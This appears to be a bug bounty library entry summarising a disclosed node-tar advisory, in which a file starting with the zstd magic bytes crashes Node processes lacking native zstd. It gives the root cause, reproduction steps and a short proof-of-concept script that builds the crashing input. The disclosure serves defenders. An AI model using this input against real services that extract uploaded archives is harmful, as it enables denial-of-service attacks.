# node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd

Four-byte zstd magic in a tar file makes node-tar construct ZstdDecompress unguarded, throwing an uncaught TypeError that kills the process on Node runtimes lacking native zstd.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: president-xd, hash3liZer, eros938
- Disclosed: 2026-12-02
- CVE: CVE-2026-140241
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-72fp-85cc-g945
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-72fp-85cc-g945
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:dos

**Target:** node-tar async file API (tar.x/tar.t) compression sniffing
**Root cause:** Parser.write() constructs `new ZstdDecompress({})` on detecting the zstd magic without try/catch; on runtimes without the zlib zstd binding minizlib throws synchronously inside the fs read stream's data callback, so the throw bypasses stream error handling and the async promise never settles.
**Steps:**
1. Run on Node 20.x where `require('zlib').ZstdDecompress` is undefined.
2. Install `tar@7.5.22`.
3. Write a 4-byte file: `Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04])`.
4. Call `x({cwd:'/tmp/z-out', file:'/tmp/z4.tar'})` and observe uncaught `TypeError: Compression method not supported: ZstdDecompress` with promise state NEVER.
**How found:** Noticed node-tar's compression sniffing constructs decompressors based on magic bytes; hypothesized that on runtimes lacking the zstd binding the constructor throws synchronously inside the fs data callback, escaping stream error routing and leaving the async promise unsettled.
**Exploitation:** Attacker supplies any archive whose first four bytes are the zstd magic `28 b5 2f fd`; when a victim pipeline lists or extracts it via node-tar's async file API on an affected Node runtime, the process crashes. No tar structure or authentication needed.
**Insight:** Magic-byte sniffing that constructs decompressors is a crash surface: check whether the constructor can throw synchronously inside a stream data callback, since that bypasses error events and promise rejection entirely — only the async file API path converts it to process death.

## Proof of concept (copied exactly from the original report)

**PoC script crashing node-tar with 4-byte zstd file**

```
const { x } = require('tar'); const fs = require('fs')
fs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))
fs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')
let uncaught = null, settled = 'NEVER'
process.on('uncaughtException', e => uncaught = e.constructor.name + ': ' + e.message)
x({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=>settled='RESOLVED').catch(()=>settled='REJECTED')
const ka = setInterval(()=>{},100)
setTimeout(()=>{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)
```

